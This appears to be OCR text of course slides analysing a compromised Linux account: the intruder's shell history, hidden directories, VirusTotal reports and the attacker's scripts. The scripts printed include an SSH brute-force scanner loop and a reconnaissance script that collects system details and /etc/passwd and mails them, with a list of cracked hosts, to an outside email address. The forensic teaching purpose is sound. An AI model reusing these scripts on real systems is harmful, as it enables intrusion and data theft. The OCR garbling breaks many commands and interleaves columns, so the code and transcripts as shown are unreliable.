10 root 10 -5 0 0 0s 0.0 0.0 0:00.63 kblockd/0
11 root 20 -5 0 0 0s 0.0 0.0 0:00.00 kacpid
169 root 17 -5 0 0 0s 0.0 0.0 0:00.00 cqueue/0
172 root 17 =5 0 0 0s 0.0 0.0 0:00.00 khubd
174 root 10 -5 0 0 0s 0.0 0.0 0:00.00 kseriod
238 root 15 0 0 0 0s 0.0 0.0 0:17.38 pdflush
239 root 15 0 0 0 0s 0.0 0.0 0:15.13 pdflush

The test user is now running a program named rO0t 72
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¥3 Antivirus scan for fd723E X
&« c | 8 Secure | https://www.virustotal.com/en/file/fd723b2575b5e3f1e5671b89b0d9de7 72383 1d10f064ae0c5db4 134883 e9ab4f/analysis/ 1505164997/ T ‘ o @
=2 Apps Yahoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home Music [ Expand All » Other bookmarks
# Community Statistics Documentation FAQ About = English n rsimms
—
> total
SHA256 fd723b2575b5e3f1e5671b89b0d9de7723831d10f064ae0c5dba134883e9a64f h
File name o0t P
Detection ratio 22758 ..r 0 O
Analysis date 2017-09-11 21:23:17 UTC ( 7 minutes ago )
= Analysis @, File detail 22 Relationships @ Additional information ® Comments o ) Votes
Antivirus Result Update
AegisLab HackTool Linux.Masan.flc 20170911
Antiy-AVL HackTocl/Linux.Masan.f 20170911
Avast ELF:Agent-H [Rtk] 20170911
AVG ELF:Agent-H [Rtk] 20170911
Awvira (no cloud) TRiAgentH.14 20170911
CAT-QuickHeal Exploit. Linux.Nukerie 20170911
ClamAV Unix.Malware Agent-6232794-0 20170911
Comodo UnclassifiedMalware 20170911
ESET-NOD32 a variant of LinwdAgent. CC 20170911
GData Linux. Trojan.Agent XXCPAR 20170911
Ikarus HackTool Linux Masan 20170911
Jiangmin HackToel Linuxr 20170911
Kaspersky HackTool Linux.Masan.f 20170911
McAfee RDN/Generic PUP.z 20170911
McAfee-GW-Edition RDN/Generic PUP.z 20170911

-

.'

virustotal.com

Virustotal will run
a malware check
on a submitted file
using a large
number of AV &
Malware detection
tools

virustotal.com/e

https://www.virustotal.com/e
n/file/fd723b2575b5e3f1e567

1b89b0d9de7723831d10f064
ae0c5db4134883e9a64f/anal
ysis/1505164997/
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a Antivirus scan for fd723F X
&« C | 8 Secure | https://www.virustotal.com/en/file/fd723b2575b5e3f1e5671b89b0d9de772383 1d10f064ae0c5db413488329ab4f/analysis/ 1505164997/ g | o @
Apps Yahoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home Music [ Expand All » Other baokmarks
& Community Statistics Documentation FAQ About ™ English n rsimms. -
McAfee-GW-Edition RDN/Generic PUPz 20170911
Qihoe-360 Win32/Trojan.46c 20170911
Symantec Trojan.Gen 8lcloud 20170911
Tencent Linux.Hacktool Masan.lja 20170911
TrendMicro TROJ_GEM.RO3KCOPH417 20170911
TrendMicro-HouseCall TROJ_GEN RO3KCOPH417 20170911
Zillya Trojan Agent Linux. 191 20170911
ZoneAlarm by Check Point HackToel Linux.Masan.f 20170911
Ad-Aware [ 20170911
AhnLab-V3 @ 20170911
Alibaba 7] 20170911
AlYac [ 20170911
Arcabit @ 20170911
AVware o 20170911
Baidu ] 20170911
BitDefender [ 20170911
Bkav o 20170911
cmMmc [ 20170902
CrowdStrike Falcon (ML) & 20170804
Cylance & 20170911
Cyren ] 20170911
Driveb [ 20170911
Emsisoft @ 20170911
Endgame & 20170821
F-Prot ] 20170911
F-Secure [ 20170911 -
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B Antivirus scan for fd7230 X

e

- [m] >

&« (& ‘ a Secure \h1lps:f;‘www‘viruslcla\.com/'em’f'l\e,«’fd?&3b2575b5e3ﬁ95671h89b0d9d97723831d1DfﬂGdaeDchbM346&3e9a64f}ama\yswsﬂ505164997/

%0 @

i Apps Yahoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home Music

# Community Statistics Documentation FAQ About
Kingsoft
Malwarebytes
MAX
Microsoft

eScan

e 6 0 0 o0 O

NANQ-Antivirus

Palo Alto Networks (Known Signatures)

a

Panda

Rising

SentinelOne (Static ML)

Sophos AV

(<]

SUPERANtiSpyware (]
Symantec Mabile Insight
TheHacker

TotalDefense

Trustlook L2

VBA32

VIPRE

ViRobot

Webroot

WhiteArmor

Yandex

e 0 0 0 0 0 O

Zoner

 Blog | W Twitter | &5 contact@virustotal.com | & Google groups | 4 ToS | @ Privacy policy

[ Expand Al
™ English
20170911

20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170808
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170829
20170908

20170911

»

n rsimms.

Other bookmarks

75



CIS 76 - Lesson 3 R ' I lw

test account command history

[root@opus ~]# cat /home/cisl72/testuser/.bash history This command
cd .sc .
1s history shows
rm -rf 93.185.pscan.22 mfu.txt the commands
1s the attacker was
nano vuln.txt running before I
cat /etc/passwd killed the
1s 1s session.
Cg o cd ..
cd as
1s ‘13: nas The attacker may
rm -rf massrooter /a 65.122 have a/ready
nano a nano a deleted some of
cd .. ./a 65.122 the commands.
ils nano a
s
./a 65.122 ;
tar zxvf massrooter.tar.gz nano a 1t I_S not a bO.t.
1s a 65.122 do_lng the editing
rm -rf massrooter.tar.gz nano a with nano.
mv massrooter .mass /a 65.122 Looks like a real
mv as .as nano a hacker took over
‘lj(sj -mass ./a 65.122 once the brute
1s i
chmod +x * o force login a’zztc;;ck
./r00t 218.32 cd . unix was successrul.
./r00t 202.106 -d © 1s
1s ./unix 65.122
[root@opus ~]#
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processes being run by test user

e S A A g 2 g db g dh db  Sb db dh g db db  dh  db Ib Ib Sb Ih Ib Ib Sb Sb b Ib Ib Sb I b b b b b b b b b b b b b b b b b b b b b i b b S g b g g b 2 d S S g dh g db g4

The test user was logged in using ssh and running the processes below
LRt b b b b b b d b ab i b b i b b I b b db b b b b b S b b b b b i b b db 2 b b b b b b b S 4 b b 2 b b 2 b b 4 db b a2 b b b b d b (b b b b i 2 b b 2 ¢

[root@opus ~]# ps -ef | grep test

test 29736 1 0 17:09 » 00:00:01 -bash

root 29737 3568 0 17:09 72 00:00:00 sshd: test [priv]
test 29740 29737 0 17:09 ? 00:00:00 sshd: test@pts/2
test 29741 29740 0 17:09 pts/2 00:00:00 -bash

test 31569 29741 0 21:11 pts/2 00:00:00 /bin/bash ./a 65.122
test 31570 31569 99 21:11 pts/2 00:02:44 ./find 65.122 22
root 31593 31488 0 21:14 pts/1 00:00:00 grep test

Not the a script is running. We saw the command that started
it in .bash_history earlier.
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The a script in the .as directory

[rsimms@rouji ~]$ cd ~test/.as

[rsimms@rouji .as]$ 1s

a nobash.txt pass.txt pscan2 screen start vuln.txt
[rsimms@rouji .as]$ cat a

##!/bin/bash

#

#

if [ $# != 1 ]; then
echo " usage: $0 <b class>"
exit;

fi

rm -rf scan.log

echo "* Mark's private bruteforce scanner *"

echo

sleep 1

./pscan2 $1 22 The a script calls pscan2
echo "* checking servers ! *"

./sshd 100

echo "* enjoy *"

echo "* Mark @ Mark *"

rm -rf scan.log

sleep 10

[rsimms@rouji .as]$ file pscan?

pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared
libs), for GNU/Linux 2.2.5, stripped

[rsimms@rouji .as]$

/8
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° - ° | virustotal.com

pscan2 found in the .as directory

& (= | @ Secure | https://www.virustotal.com/en/file/4422633b12627¢70246d868d86cabd6702908b79f3826bcf9222ab20501ch394/analysis/ 1505244115/ ﬁ| oo :
i Apps Yahoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home Music [ Expand Al » Other bookmarks
# Community Statistics Documentation FAQ About [ms English n rsimms =

S | total Virustotal will run a
malware check on a

SHA256 442263312627CT02460368d86cabd6T02908b797I8260ci9222ab20501cb304 ‘O Ssu bm [ tt ed f[ le us [ ng a

= large number of AV &

Detection ratio: 36/ 59 ',f 6 O g H
Malware detection tools

Analysis date: 2017-09-12 19:21:55 UTC { 1 minute ago )

= Analysis @, File detail 32 Relationships @ Additional information @ Comments o ) Votes

Antivirus Result Update
Ad-Aware Application Linux Portscan A 20170912
AegisLab Hacktool. Linux.Smalllc 20170912
AlYac Misc HackToel Linux PortScan 20170512
Antiy-AVL HackTool/Linux.Small.af 20170912
Arcabit Application Linux Portscan A 20170912
Avast ELF:Poriscan-G [PUP] 20170912
AVG ELF Portscan-G [PUP] 20170912
Avira (no cloud) SPR/PScan.1 20170912
BitDefender Application Linux Portscan A 20170912
CAT-QuickHeal HackTool Linux.Small.af144 20170912
Comodo UnclassifiedMalware 20170512
Cyren ELF/Trojan ASWP-8 20170912
https://www.virustotal.com/e
DriWeb Tool PortScan 14 20170512 n/file/4422633b12627c70246
Emsisoft Application.Linux.Portscan A (B) 20170912 4868d86cabd6702908b79f38

26bcf9222ab20501cb394/ana 79
ESET-NOD32 Linux/HackTool Portscan A potentially unsafe 20170912 lysis/1505244115/



https://www.virustotal.com/en/file/4422633b12627c70246d868d86cabd6702908b79f3826bcf9222ab20501cb394/analysis/1505244115/
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test account home directory

The home directory at first glance appears empty.

[root@opus ~]# 1ls /home/cisl72/testuser/

[root@opus testuser]#

However, why did the Is command output a blank
line before the next shell prompt?
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test account home directory

It's not empty! It's full of hidden files and directories!

[rsimms@myopus testuser]$ 1ls -a

.bash history .bash profile .emacs .mozilla .ssh

.as .bash logout .bashrc .mass S .unix
2[11filmms@myopus testuser]$ find . | wc -1 This empty /ooking
home directory
actually has 213
files!

Looks like a file or
directory named using a
blank character!
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test account home directory

R b b b b b b b b b b S b b b b b S S g g g db g dh dh S db S g g dh  Sh  db Ib Ib 2b Sb \Ib \Ib 2b Ib b Ib b b Ib b b b b b b b b b b b b b b b b b I I S S e e g 4

Lots of new hidden directories
PR b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b b

[rsimms@rouji testuser]$ 1ls -lta

total 60

drwxr-xr-x. 3 root root 4096 Sep 12 2016 ..

—“Irw--——--——- 1 test test 479 Nov 5 2011 .bash history

drwxr-xr-x. 10 test test 4096 Nov 3 2011 .

drwxrwxrwx. 2 test test 4096 Nov 2 2011 .unix

drwxrwxrwx. 3 test test 4096 Nov 2 2011 «— — What's this? A
drwxrwxrwx. 2 test test 4096 Nov 2 2011 .as directory named
drwxr-xr-x. 2 test test 4096 Nov 2 2011 .sc with a blank!
drwx—-—----- 2 test test 4096 Oct 19 2011 .ssh

-rw-r--r-—-. 1 test test 33 Oct 4 2011 .bash logout

-rw-r--r--. 1 test test 176 Oct 4 2011 .bash profile

-rw-r--r--. 1 test test 124 Oct 4 2011 .bashrc

-rw-r--r--. 1 test test 515 Oct 4 2011 .emacs

drwxr-xr-x. 4 test test 4096 Oct 4 2011 .mozilla

drwxr-xr-x. 2 test test 4096 Nov 11 2010 .gnome?2

drwxr-xr-x. 9 test test 4096 Mar 25 2002 .mass

[rsimms@rouji testuser]s$
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The " " (blank-named) directory

[rsimms@rouji testuser]$ 1ls -a
.bash history .bash profile .emacs .mass .sc .unix
.as .bash logout .bashrc .gnome?2 .mozilla .ssh
[rsimms@rouji testuser]$

[rsimms@rouji testuser]$ 1ls -la ./\ /

total 564

drwxrwxrwx. 3 test test 4096 Nov 2 2011

drwxr-xr-x. 10 test test 4096 Nov 3 2011 ..

-rwxrwxrwx. 1 test test 504464 Feb 10 2005 -bash

—-rwxXrwxrwx. 1 test test 22936 Feb 10 2005 kswap.help

—-rWwXrwxrwx. 1 test test 1085 Nov 2 2011 kswap.levels

—-rWwXrwxrwx. 1 test test 6 Nov 2 2011 kswap.pid

-rw-rw-r-—-. 1 test test 1053 Nov 2 2011 kswap.session . p
—-rWwXrwxrwx. 1 test test 2666 Nov 2 2011 kswap.set E_ar//er we "_SaW this
-rw-rw-r--. 1 test test 34 Nov 2 2011 LinkEvents file was belng run
—-rWXrwxrwx. 1 test test 409 Nov 9 2010 mechl.users by the test user.
-TWXrwxrwx. 1 test test 409 Nov 9 2010 mech2.users What is it?
—-rWXrwxrwx. 1 test test 409 Nov 9 2010 mech3.users

drwxrwxrwx. 2 test test 4096 Oct 11 2011 randfiles

[rsimms@rouji testuser]s

The directory named " " is full of more files and directories!
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-bash executable found in blank directory

a - [m} X
- -
g virustotal.com
&« Cc | & Secure \ https://www.virustotal.com/en/file/605763dce371773deb568aff4c92c4a2338714636f492a91d1400bb1437a7b16... ‘Cr‘ o @ H "
=2 Apps B Yahoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home » Other bookmarks
# Community Statistics Documentation FAQ About ™ English n rsimms =

) total Virustotal will run

a malware check
SHAZ256 605763dce3d71773deb568aff4c92c4a2338714636f492a91d1400bb1437aTh16 ‘o On a Submitted fl'le
File name: -bash .ro O using a /al"ge
number of AV &
Malware detection

Detection ratio: ~ 43/59

Analysis date: 2017-09-11 20:00:43 UTC ( 37 minutes age )

= Analysis @ File detail 32 Relationships O Additional information ® Comments o 0 \otes

Antivirus Result Update

Ad-Aware Linux.RST.B 20170811

AegisLab Linux RSThlc 20170911

AhnLab-V3 Linux/RST.B 20170911

AlYac Linux.RST.B 20170911

Antiy-AVL Virus/Linux. RST 20170911

Arcabit Linux RST.B 20170911

Avast ELF:Rst-B 20170911

AVG ELF:Rst-B 20170811

Avira (no cloud) LINUX/Rst K. 20170911 https://www.virustotal.com/e
n/file/605763dce371773deb5

AVware Virus Linux RSTb (v) 20170911 68aff4c92c4a2338714636f49
2a91d1400bb1437a7bl6/anal

BitDefender Linux RST.B 20170911 ysis/1505160043/
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est. 1859 %
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-bash executable found in blank directory

P Antivirus scan for 60576. X

&

(<] - ] x

(& | @ Secure | httpsy//www.virustotal.com/en/file/605763dce371773deb568aff4c92c4a2338714636f492a91d1400bb1437aTb16... f.‘r| oo

I Apps Yahoo

#_ Community
BitDefender
CAT-QuickHeal
ClamAy
Comodo
Cyren
Drivveb
Emsisoft
ESET-NOD32
F-Prot
F-Secure
Fortinet
GData
lkarus
Jiangmin
Kaspersky
A
McAfee
McAfee-GW-Edition
Microsoft
eScan
NANO-Antivirus

Panda

Cabrillo College

Statistics

Health

Documentation

Network Medical CIS 76 links
FAQ About
Linux.RSTB
ELFRstB

Win.Trojan.U-28
UnclassifiedMalware
Unix/RST.B

Linux Rst 40596
Linux.RSTB (B)
Linux/RSTB
Unix/RSTB
Linux.RSTB

Linux/Rst B
Linux.RSTB

Trojan Linux.Meche
Linux/RSTh
not-a-virus:HEUR:RiskTeel.Linux.MechBot.a
malware (ai score=80)
Linux/Rst.b
Linux/Rst.b
Virus:Linux’RST.B
Linux.RSTB

Virus Unix Rst. jjef

Linux/Rst.A

Lab Development

Home

» Other bookmarks
™ English " rsimms
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911

20170911

s

virustotal.com

Virustotal will run
a malware check
on a submitted file
using a large
number of AV &
Malware detection
tools

www.Virustotal.com/e

ile/6 63dce371773deb5

68aff4c92c4a2338714636f49
2a91d1400bb1437a7b16/anal
ysis/1505160043/
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-bash executable found in blank directory

a Antivirus scan for 80576 X

&«

=i apps N vahoo

2] - ] X

6] | @ Secure | https://www.virustotal.com/en/file/605763dce371773deb568aff4c92c4a2338714636f492a91d1400bb1437a7b16... ‘i'.‘r| oo

& Community
Panda
Qihoo-360
Sophos AV
Symantec
Tencent
TotalDefense
TrendMicro
TrendMicro-HouseCall
VIPRE
Webroot
Yandex
ZonsAlarm by Check Point
Alibaba
Baidu
Ekav
CMC
CrowdStrike Falcon (ML)
Cylance
Endgame
Sophes ML
K7AntiVirus

KiGW

Cabrilla College

Statistics

Health

Documentation

Network Medical CIS 76 links
FAQ About
Linux/Rst A

virus.elf.infected.a
Linux/Rst-B
Linux.RST.B

Virus Linux.Rsth
Linux/RST.B
ELF_RSTD
ELF_RSTD

Virus Linux.RSTh (v)
Virus:Linux/RST.B
Linux.RSTB
not-a-virus:HEUR:RiskTool Linux MechBot a

o 0 o

Lab Development

Home

» Other bookmarks
™ English n rsimms -
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170911
20170908
20170911
20170911
20170911
20170911
20170902
20170804
20170911
20170821
20170822
20170911

20170911 -

virustotal.com

Virustotal will run
a malware check
on a submitted file

using a large

number of AV &
Malware detection

tools

https://www.virustotal.com/e

n/file/605763dce371773deb5

68aff4c92c4a2338714636f49
2a91d1400bb1437a7b16/anal
ysis/1505160043/
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CIS 76 - Lesson 3

-bash executable found in blank directory

&

a - ] X
B3 Antivirus scan for 60576° X
& | @ Secure | https;//www.virustotal.com/en/file/605763dce371773deb568affAc82c422338714636f492291d1400bb1437a7b16... ¥ ‘ oo
=i Apps [ Yshoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home » Other bookmarks
#* Community Statistics Documentation FAQ About = English n rsimms
Endgame . 20170821
Sophos ML g: 20170822
K7 AntiVirus L] 20170911
K7GW (] 20170911
Kingsoft L] 20170911
Malwarebytes (] 20170911
nProtect L] 20170911
Palo Alto Networks (Known Signatures) y: 20170911
Rising L] 20170911
SentinelOne (Static ML) g 20170806
SUPERANtiSpyware (] 20170911
Symantec Mobile Insight y: 20170911
TheHacker L] 20170911
Trustlook g: 20170911
VBA32 L] 20170911
ViRobot (] 20170911
WhiteArmor L] 20170829
Zillya L] 20170911
Zoner L] 20170911

R Blog | w Twitter | & contact@virustotal.com | 48 Google groups | 4, ToS | & Privacy policy

-

virustotal.com

Virustotal will run
a malware check
on a submitted file
using a large
number of AV &
Malware detection
tools

https://www.virustotal.com/e

n/file/605763dce371773deb5

68aff4c92c4a2338714636f49
2a91d1400bb1437a7b16/anal
ysis/1505160043/
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The .ssh directory

ssh connections have been made to servers

[rsimms@rouji testuser]$ sudo cat .ssh/known hosts in Ukraine and the Czech Republic.
91.197.131.10 ssh-rsa
AAAAB3NzaClyc2EAAAADAQABAAAAGWDKRGRIVRGHOONSM7YCNNIG8k0zukAN/r4L5fPKTviimdhel 7UnxywPc+TyS)XgNsXQ/
JPLGVvPO5u0SG3dgT2N7NUdAtdL4AENL87dX7yTbIJTIzMMxTb9HSTI1SL2/51SefyAVVol+R8DMmMFgTWa2eFHOD9ToxFSNSTarT
ZQgmHl1o0ZYoZX

93.185.106.239 ssh-rsa
AAAAB3NzaClyc2EAAAABIWAAAQEARILE+IQEaIburllLeoisH]97Z/tITFzVGVMJI97CD/xtNAFpUg+JcXVecbNUJCtXKgXK82r
I3VWwn6XM19HSFKkKSO06L7F1KhjE3/LpJzZhui Sy9n6PEuUrFPMSKbQZ7+Rndcnz2 OMWXW3hmSNTPeL6VYKKB43RoEIj76+9+E
1GHKT+0hpEc/fC31sdjpt4xRO7whgoB85YGHWCPM6t /gV8skMrE/rCum7Vtcf67VpgwIMwmEIE1+])8MIzY8HgOa+rh8Mok88
THN65h3CS2wYd43cAMUXrGy0JULC2bZVeZrPIWDIRPQLrAWFGIfCnmmZvFy0z/3T/SGRcGSE9unAcOelL4dw==
93.185.106.221 ssh-rsa
AAAAB3NzaClyc2EAAAADAQABAAABAQCT7i32etrcHbRYQ6dAWewF4AL4V/eWyRwyAb6SjDWErnwGKM7VQUb5QrjtoSfZ7KCKb+
+grFdyFQJw6alSP8gwloesEty2LisR/n6J7C2zzhyM/SPu9/EReMenSWZGDEYUC9gmOWL1uQ/AFGHRTWIOntLeftjoomVgDxg
yE1AYEfsb20cznpMWKxS1ncCQIsDY6OWP2y+1SH60bk/8t04TSRx1mRbdnsJKbk72gRbFuHpp4111Cs06whmdunOsfghtJ+ya
dbOux5bbdFPS5BOV7gIJ2HhYSTAGE8SIXhY0kDkggG4LUSagXpF3/Qx0GNUqypk3nXSjEBAOaPCgDRNuCyWl

IP: 91.197.131.10 IP: 93.185.106.239 IP: 93.185.106.221
Decimal: 1539670794 Decimal: 1572432623 Decimal: 1572432605
Hostname: hosted-by.data-xata.net Hostname:  93.185.106.239 Hostname:  aswilliam.hipsdiet.com
ASN: 8870 ASN: 43541 ASN: 43541

ISP: Overseas Technologies LLC ISP: VSHosting s.r.o. ISP: VSHosting s.r.o.
Organization: Overseas Technologies LLC Organization: PIPNI s.r.o. Organization: PIPNI s.r.o.

Services: None detected Services: None detected Services: None detected
Assignment: Static IP Assignment: Static IP Assignment: Static IP

Blacklist: Click to Check Blacklist Blacklist: Click to Check Blacklist Blacklist: Click to Check Blacklist
Status Status Status

Continent: Europe Continent: Europe Continent: Europe

Country: Ukraine Country: Czechia Country: Czechia

https://whatismyipaddress.com
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The .sc directory

.sc
ssh-scan wvuln.txt

pscan2 secure

[rsimms@myopus testuser]$ 1ls -a
screen Ss

1 2 4 6 8 a common go.sh

10 3 5 7 9 al gen-pass.sh pass file start

:))" djmarckyy@yahoo.com

[rsimms@myopus testuser]$ cat .sc/7
Pass : stii tu

cat info2 | mail -s "Scanner TASE Port

rm -rf info2
cat vuln.txt |mail -s "Roots" djmarckyy@yahoo.com

27

Emailing information to

[rsimms@myopus testuser]$
this yahoo user account

[rsimms@myopus testuser]$ cat .sc/al
Imail -s "Roots" djmarckyy@yahoo.com

cat vuln.txt

Translate Turn off instant translation o
Engllsh Spanlsh French Romanian - detected - «* Engllsh Spanlsh Arabic -

stii tu| * | you know

0 s gsoo0 | W 00 < V4

Romanian language
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The yahoo email address in .sc/7

) InHell X http://inhell-inhellblogspot.cor X |+

€ @ inhell-inhellblogspot.com ¢

o] e—

VIERNES, 18 DE ENERO DE 2008 InHell Logo

Internet
Relay Chat
#inHell

Hosted by:
Gnu Linux #inhell the best channel!

Operatorii canalului

Publicado por InHell en 7:08 @ No hay comentarios:

Googling the email address
takes us to this blog

- o X

wBe ¥ A9 =

Create Blog Signin *

2 InHell

#  http/finhell-inhell. blogspot.cor 3 4

</span>

<div elass='clear'>»</div>

</dive</divy

</dive</div>

<div id='sidebarbottom-wrapl'><div id='sidebarbottom-wrap2's>

<div eclass='sidebar section' id='sidebar'>»<div class='widget Image' data-version='l' id='"Imagel2'>
<h2»hdministrator site: DiMarckyv</h2>

<div eclass='widget-content'>

<img alt='Rdministrator site: DjMarckyy' height='240' id='ImageZ img" src='http://3.bp.blogspot.com/

wBa +$§ & O =

<br/>

<span class='caption'>Mail: [kt 4
</div>

<div eclass='clear'></div>

<span class='widget-item-control'>
<span class='item-control blog-admin'>

<a class="quickedit' href='//www.blogger.com/rearrange?blogID=821836114494937056%&widgecType=Inage&w

yahoo . comadejsE1y

<img alt="' height='18" src="https://resources.blogkblog.com/img/iconls wrench allbkg.png' width='1g"
</ax

</span>

</span>

«div elass='clear'>»</div>
</div><div class='widget Image' data-version='1' id='Imagel'>
<h2>TnHe11</h2>

dimarckyy@yahoo.com ~ |~ | Highlight Al Match Case ~ Whole Words 1 of 1 match X

Blog site source view
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Passive look at the blog site

e - [m] X

.'I Site report for inhell-inh: X
&« c | @ toolbar.netcraft.com/site_report?url=http://inhell-inhell.blogspot.com/ % O % H
=i Apps Yahoo Cabrillo College Health Network Medical CIS 76 links Lab Development Home Music [§ Expand Al [ Link Comments Qther bookmarks

inhell-inhell.blogspot.com

@ Lookup another URL: Share: o o @ @ 0 @

Enter a URL here

Netcraft Extension

S — & Background
+ Download Now!
+1 Report a Phish Site title InHell Date first seen March 2008
+| Site Report Site rank Primary Romanian
+ Top Reporiers language
+1 Incentives for reporters Description Site-ul oficial al canalului #InHell
iEhishieshiTDe Keywords Not Present
+1 Phishiest Countries
+1 Phishiest Hosters = Network
+1 Phishiest Cerlificate Authorities
o) FIEDELIED Site http://inhell-inhell.blogspot.com Netblock Google Inc.
+ Takedown Map Owner
+1 Most Popular Websites R
) Domain blogspot.com Nameserver ns2.google.com
+ Branded Extensions
4 Tell a Friend IP address 209.85.203.132 DNS admin dns-admin@gocgle.com
IPv6 address  2a00:1450:400b:c03:0:0:0:84 Reverse DNS  dh-in-f132.1e100.net
Phishing & Fraud Domain unknown Nameserver urknown
registrar organisation
+ Phishing Site Feed . i
41 Hosting Phishing Alerts Organisation unknown Hosting Google
company
+ 38L CA Phishing Alerts
Protaction for TLDs against Top Lt.avel Commercial entities (.com) DNS Se_curity unknown
~ Phishing and Malware LEE BT
+ Deceptive Domain Score Hosting Eus
+1 Bank Fraud Detection country
+ Phishing Site Countermeasures . R
=1 Hosting History
Extension Support
Netblock owner IP address 0s Web server Last seen Refrssh
+ FAQ
a Google Inc. 1600 Amphitheatre Parkway Mountain View CA US 94043 216.58.208.129  Linux GSE 12-Sep-2017
+1 Glossary

91



http://toolbar.netcraft.com/site_report?url=http://inhell-inhell.blogspot.com/

CIS 76 - Lesson 3

The .sc/start script

[rsimms@myopus testuser]$ cat .sc/start
#!/bin/bash

echo "[+] [+] [+] RK [+] [+] [+]1"™ >> info?2

echo "[+] [+] [+] IP [+] [+]1 [+]1"™ >> info2
/sbin/ifconfig -a >> info2

echo "[+] [+] [+] uptime [+] [+] [+]1" >> info2
uptime >> info2

echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info2

echo "[+] [+] [+] /etc/issue [+] [+] [+]1" >> info2
cat /etc/issue >> info2

echo "[+] [+] [+] passwd [+] [+] [+]1" >> info2

cat /etc/passwd >> info2

echo "[+] [+] [+] id [+]1 [+] [+]1"™ >> info2

id >> info2

echo "[+] [+] [+] Spatiu HdAd / pwd [+] [+] [+]" >> info2
df -h >> info2

pwd >> info?2

v

rm -rf info2

clear

< snipped >

The infoZ2 file is
created, emailed
then deleted

[rsimms@rouji testuser]$ cat .sc/7

cat info?2 | mail -s "Scanner TASE Port : ?? | Pass :
rm -rf info2

cat vuln.txt |mail -s "Roots" djmarckyy@yahoo.com

[rsimms@roujil testuser]$

stii tu :))" djmarckyy@yahoo.com
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The .sc/start script continued

< snipped >

Stelstean S s dssssssdsssdssadsssdsssdsasdasddsasdsssdsasdsasdssddaasdaaddassi

echo "# "

echo "# .. - "
echo "# / \ "
echo "# | zRR | "
echo "# P "
echo "# I )(z_ / Nz ) (| "
echo "# |/ /\ \ "
echo "# _ ( AN ) "
echo "# A\ )\ \__|IIIIII|_ / "
echo "# (I 1{1< [-\IIIIII/-|_zRR_ zRR =zRR \ "
echo "# / )/ \ / "
echo "# \ / "
echo "# SCANER PRIVAT "
echo "# SCANER FOLOSIT DOAR DE TEAMUL zRRTEAM "
echo "# SACNERUL CONTINE UN PASS FLIE DE 3MEGA !! "

Stelstemn S sddssdsssdsssdssadsssdsssdsasdssadsasdsssdsasdsssdssdiaasdasadass

if [ -f a ]; then
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.
./a $1.

~ oUW NP O
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The .sc/start script calls the .sc/a script

[rsimms@rouji testuser]$ cat .sc/a

BLK="';30m"
RED=';31m"
GRN="';32m"
YEL="';33m"
BLU="';34m"
MAG="';35m"'
CYN="';36m"
WHI="';37m'

DRED='0;31Im'
DGRN="'0; 32m"'
DYEL='0;33m’
DBLU='0; 34m’
DMAG="'0; 35m"'
DCYN='0; 36m'
DWHI='0;37m'
RES='0m'

#!/bin/bash

if [ $# != 1 ]1; then
echo " usage: $0 <b class>"
exit;

fi

echo -e "\033[1;31m \033[1;32m Created bY MARK \033[1;31m \033[0m"
echo "INCERC SA DAU VIATZA CIBERNETICII"

./pscan2 $1 22

sleep 10

cat $1l.pscan.22 |sort |unig > mfu.txt
oopsnr2="grep -c mfu.txt”®

echo "# SA VEDEM CE PULA MEA FACEM"

echo "# N )\ "
echo "# () [_DbY ]{}<MARK> "
echo "# / ) _/ "
echo "#....... prindem roate sau nu ? ....... "
echo " "

echo -e "Checking\033[1;34m user £ile\033[0m pass 1"

echo -e "Checking\033[1;34m
cp 1 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;31m
cp 2 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;34m
cp 3 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;34m
cp 4 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;31m
cp 5 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;34m
cp 6 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;31m
cp 8 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;34m
cp 9 pass_file

./ssh-scan 100

sleep 3

echo -e "Checking\033[1;34m
cp 10 pass_file
./ssh-scan 100
sleep 3

rm -rf $1.pscan.22
echo -e "\033[1;31lm
[rsimms@rouji testuser]s$

user

root

user

user

root

user

root

user

user

£i1e\033[0m pass 1"

£i1e\033[0m pass 2"

£i1e\033[0m pass 3"

£i1e\033[0m pass 4"

£i1e\033[0m pass 5"

£i1e\033[0m pass 6"

£i1e\033[0m pass 8"

£i1e\033[0m pass 9"

£fi1e\033[0m pass 10"

continuam \033[1;31m \033[0m"
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The .sc/start script continued

< snipped >

./a $1.242

./a $1.243

.J/a $1.244 Romanian - detected ~ @
./a $1.245

./a $1.246 Ciudat ..Nu Ai Urmat Instructiunile You follow the instructions strange ..Nu
./a $1.247 trebui dat mv assh a sau mv scan a ASSH be given to mv or mv scan the

./a $1.248 orice ai avea tu ... dohh .. dohh whatever you have you ... ..
./a $1.249

./a $1.250

./a $1.251

./a $1.252

./a $1.253

./a $1.254

./a $1.255

./al

killall -9 a

else

echo # Ciudat ..Nu Ai Urmat Instructiunile #
echo # trebui dat mv assh a sau mv scan a #
echo # orice ai avea tu ... dohh .. #
killall -9 a

killall -9 pscan?

fi

[rsimms@myopus testuser]s$

A English ~ D)

Open in Google Translate
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The .mass directory

[root@opus testuser]# 1ls /home/cisl72/testuser/.mass
bind brute ftpd 1lpd 1lpd.conf mail r00t rpc scan.conf ssh telnet
[root@opus testuser]#
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The .kswap.session file in the " " directory

[rsimms@myopus ]1$ cat ./kswap.session
linkport -1
nick Svant
